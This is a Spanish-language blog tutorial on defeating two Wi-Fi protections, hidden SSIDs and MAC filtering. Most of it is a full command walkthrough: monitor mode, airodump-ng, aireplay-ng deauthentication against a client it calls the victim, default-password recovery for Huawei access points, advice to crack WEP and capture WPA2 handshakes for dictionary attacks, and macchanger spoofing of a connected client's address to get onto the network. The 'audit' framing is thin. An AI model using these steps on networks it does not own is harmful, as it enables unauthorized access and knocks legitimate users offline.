 Y el otro caso es del filtrador por Mac, esta opción ya viene en la mayoría de los acces point esta opción nos sirve para nosotros poder especificar a que usuarios queremos dejar que se conecten a través de la red inalambrica, mediante una lista de las direcciones MAC de los equipos podemos permitir o denegar el servicio a nuestra red inalambrica. 
 Empecemos, el primer caso que son las redes ocultas que es cuando el acces point no envía ese identificador (SSID) que nosotros lo vemos como el nombre de la Red (infinitum, Axtel, Jaztel, Oficina) etc. Pero aun que el Acces Point no envie ese identificador, el sige enviando paquetes de Broadcast(Beacon Frames)  a que me refiero a que el Acces Point no te dira su nombre, pero si te esta diciendo Aqui estoy.. Aqui Estoy.. Utilizaremos nuestra tarjeta de red inalambrica y un Sniffer que en mi caso use Wireshark. 
Lo primero que haremos es ver nuestras interfaces Inalambricas que tengamos instalados en nuestra computadora.
Abriremos una Terminal y escribimos el comando Iwconfig  1 
 Bueno en mi caso usare mi tarjeta de Red inalambrica que tiene la Interfaz Wlan2.

 Lo siguiente que haremos sera convertir nuestra tarjeta de red inalambrica en un escucha de todos los paquetes que viajan en el aire, a lo que conocemos poner nuestra tarjeta en Modo Monitor. 
 Usaremos el comando airmon-ng start wlan2 2 
 Ustedes usen el comando con el nombre que tenga su interfaz de red inalambrica.
 Si les da algun error lo mas seguro es que sea por permisos asi que usen el comando sudo su para elevar sus privilegios y estar como super usuario. Esto hara que se nos habilite una interfaz en modo 
monitor que en mi caso es la mon0
 Ahora ya teniendo nuestra tarjeta de Red en Modo monitor procederemos a abrir nuestro Sniffer, que en mi caso usare el Wireshark. Hacemos click en Interface List y damos click en start en nuestra interfaz que esta en modo Monitor, en mi caso es mon0
Y comenzara a mostrarnos todo el trafico de los paquetes que van viajando en el aire. Al analizar los Beacon Frames veremos que la mayoría traen el nombre de la red, pero unos vienen como SSID=Broadcast que son los que buscamos, los que vienen sin el identificador, en otros casos pueden aparecer caracteres extraños en seguida de SSID=. 5
Analizaremos lo que trae dentro este paquete y encontraremos la Mac Addres del Acces Point, en este caso es un equipo Huaweii
 Ahora sabemos que la Mac Addres es 5c:4c:a9:57:f0:e4 y si seguimos analizando este paquete veremos que tambien nos muestra el Canal por donde se esta transmitiendo.
Ya tenemos la Mac Addres del acces point y sabemos que transmite a través del canal 5. ahora con esta informacion podemos usar una herramienta que viene incluida en la suite de aircrack que es el Airodump Usare el comando airodump-ng --channel 5  --bssid 5c:4c:a9:57:f0:e4 mon0 donde especifico el canal y el bssid del Acces point. 8 
Como pueden ver en el ESSD donde normalmente aparecen el nombre de las redes, aparece  Length: 0 que quiere decir que esta oculto el SSID. Para poder descubrir cual es el SSID de esta red hay dos formas, pasiva o activa La pasiva es esperar a que un cliente se asocie a la red mientras que nosotros monitoreamos el trafico de esta asociación. Usare un filtro en el Wireshark para que solo nos muestre el trafico que hay en ese Acces Point. 
Podemos ver los paquetes de Subtipo Probe Response que contienen la informacion que buscamos. Con esto ya sabremos el SSID de la red que en este caso es INFINITUM9a8b El problema de usar este método es que si tenemos algo de prisa o ningún cliente se conecta en ese momento no obtendríamos el nombre de la red tan fácil. Para estos casos que tengamos donde no queramos esperar a que alguien se conecte usaremos el método Activo. Este método forzaremos a que se envíen paquetes de Probe y Association para poder capturar el SSID de la red, para poder capturar estos paquetes nos tendremos que dar a la tarea  de interrumpir a un cliente para que su tarjeta de red se vea forzada a hacer una re-asociacion con el acces point. En este caso buscaremos los clientes conectados al accespoint para poder hacer el uso de paquetes DeAuth que es un subtipo de paquetes de Administracion y nos permitira interrumpir la conexion entre el cliente y accespoint. Usaremos el comando airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0 10 
En la parte inferior podremos ver los clientes asociados al acces point que tiene el SSID oculto, podemos ver donde dice STATION esta la MAC addres de este cliente que usaremos como victima para realizar la interrupción y forzarlo a la re-asociación con el Acces Point. Usaremos el comando aireplay-ng --deauth 0 -a 5C:4C:A9:57:F0:E4 -c 00:87:12:23:16:CD mon0 donde -a especificamos el Acces point y el -C especificaremos la mac addres del cliente a la cual le enviaremos los paquetes de desautenticacion. 11 
 Al hacer este proceso es importante que tengamos nuestro Sniffer corriendo en la interfaz que esta en modo monitor, ya que al  Desasociar al cliente del accespoint, el cliente volvera a negociar otra asociacion con paquetes de Probe Response y de Reassociation Request. 13 
Aqui podremos ver el trafico de esos paquetes DeAuth y como se realizo la reconexion del parte del cliente. En esta reasociacion veremos el nombre del SSID del acces point oculto. Bueno con esto ya hemos aprendido a descubrir las redes ocultas que como ven no es una medida muy segura para nuestros AP. Con esta informacion podemos auditar la red la cual en este caso podemos usar un Decrypter como el Mac2wepkey esto porque ya se ha descubierto el algoritmo para la generacion de Password por default de estos equipos Huaweii.. en caso de que hallan cambiado las credenciales, pues podemos proceder a auditarla que si es una WEP no nos tardaremos mas de 5 minutos en hacerlo. Y si esta un poco mas segura encontraremos un wpa2, pero pues con tiempo todo es posible, asi que a capturar handshake y a correrle tu mejor diccionario. Suponiendo que hemos encontrado el password del Acces point, pero al querer accesar no nos permite asociarnos, es porque muy seguramente use Filtrador por Mac Addres. Estos es sencillo de burlar siempre y cuando halla clientes conectados a ese accespoint. Usaremos el comando airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0 14 
Vemos que hay un cliente asociado a 5C:4C:A9:57:F0:E4  el cual es el Acces Point que queremos asociarnos, entonces lo que haremos sera spoofear nuestra Mac Addres por la del cliente, en este caso 00:4F:72:69:6F:6E Usaremos el comando macchanger -m 00:4F:72:69:6F:6E wlan2 15 
Si tienen errores recuerden detener todas las interfaces en modo monitor que tenian usado el comando airmon-ng stop mon0 Ya con esto tendremos acceso a la red.

Powered by Bad Robot
Helped by Blackubay